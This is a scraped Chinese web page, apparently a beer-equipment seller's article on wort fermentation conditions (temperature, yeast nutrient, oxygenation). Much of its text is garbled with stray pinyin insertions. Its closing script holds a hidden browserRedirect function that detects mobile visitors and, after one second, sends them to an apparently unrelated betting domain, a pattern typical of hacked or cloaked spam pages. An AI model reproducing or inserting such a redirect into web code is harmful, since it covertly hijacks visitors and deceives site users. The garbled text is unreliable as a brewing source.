千赢国际官方

新闻资讯

麦汁所具备的良好的酵母发酵环境是什么呢?

    郑州千赢国际官方经营销售各种小型啤酒设备,精酿啤酒设备,自酿啤酒设备等啤酒设备,免费培训酿酒技术,通过加热蒸馏的方式让粮食变成可口的啤酒,啤酒设备销售热线,冯经理15538702368。千赢国际官方,会在啤酒设备网(http://page626.com/)普及一些啤酒设备知识,啤酒(jiu)酿(niang)造(zao)技术及啤酒知识科普。今天,千赢国际官方的小编就给你分享关于:麦汁所具备的良好的酵母发酵环境是什么呢?

    ①温度(du),高温发酵会为啤酒带来不良风味,而低于酵母发酵最适温度的发酵过程发酵迟缓,同样带来异味。我们知道,一般艾尔酵母的发酵温度在18°C-21°C之间,拉格发酵温度在10°C-13°C之间(实际发酵温度以配方和酵母说明书为准!),同时我们需要注意,酵母在发酵阶段麦汁温度会上升1°C-2°C,因此我们接种酵母的温度在发酵温度以下1°C-2°C,然后让发酵自然升温。

    ②酵母营养剂,全麦芽酿制啤酒,麦汁中几乎包含所有酵母需要的营养物质,除了Zn,Zn是麦汁所无法提供的,因此我们需要补充酵母营养剂。同时,有些低浓度啤酒由于氮源不足,也需要补充酵母营养剂。

    ③充氧,这可能是新手比较纠结的流程。大部分人会忽略这个流程,或者干脆忘了。有些人会觉得,充氧会让麦汁氧化。这是一种误解,当麦汁温度低于26.7°C时,麦汁接触氧气并不会使麦汁产生氧化,而且这个阶段是整个酿造过程中唯一可以接触氧气的时机。

    可(ke)以使用充氧(yang)泵+滤器+气泡石的(de)(de)方(fang)法(fa),为麦(mai)(mai)(mai)汁充入细碎的(de)(de)无(wu)菌(jun)空气,也可(ke)以充入医用氧(yang)气(不建议使用,氧(yang)气具有强(qiang)氧(yang)化性!危险(xian)性高,尤其沾满(man)油(you)污的(de)(de)手操作氧(yang)气瓶存在爆炸风险(xian)!)。如果你没(mei)有上述设(she)备,也可(ke)以用两只发(fa)酵桶,来回倾倒(dao)麦(mai)(mai)(mai)汁,一(yi)方(fang)面帮(bang)助继续(xu)降温,一(yi)方(fang)面让麦(mai)(mai)(mai)汁更大面积的(de)(de)接(jie)触氧(yang)气。良好的(de)(de)充氧(yang)可(ke)以帮(bang)助酵母健康的(de)(de)繁殖(zhi),麦(mai)(mai)(mai)汁氧(yang)气不足会(hui)造成发(fa)酵启(qi)动迟缓,发(fa)酵不充分产生异味(wei)。

    了解啤(pi)酒(jiu)设(she)备信息,啤酒(jiu)设(she)备厂(chang)家信息,找啤(pi)酒(jiu)(jiu)(jiu)设(she)备(bei),请来中(zhong)赢啤(pi)酒(jiu)(jiu)(jiu)设(she)备(bei)网,这(zhei)里提(ti)供有关啤(pi)酒(jiu)(jiu)(jiu)设(she)备(bei)产品的供应(ying)信息,您可(ke)与啤(pi)酒(jiu)(jiu)(jiu)设(she)备(bei)生产商在线洽谈有关啤(pi)酒(jiu)(jiu)(jiu)设(she)备(bei)的最新(xin)动态及价格行情,买啤(pi)酒(jiu)(jiu)(jiu)设(she)备(bei)就(jiu)来中(zhong)赢啤(pi)酒(jiu)(jiu)(jiu)设(she)备(bei)网。


声明:本文章部分图片、文字来源于网络,版权归原作者所有,如有侵权,请与我联系删除。



 本(ben)页关键词:啤酒设(she)(she)备 精酿啤酒设(she)(she)备 自酿啤酒设(she)(she)备 啤酒机


  啤酒设备

在线客服

关闭

客户服务热线
0371-63696300


客(ke)服一



var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();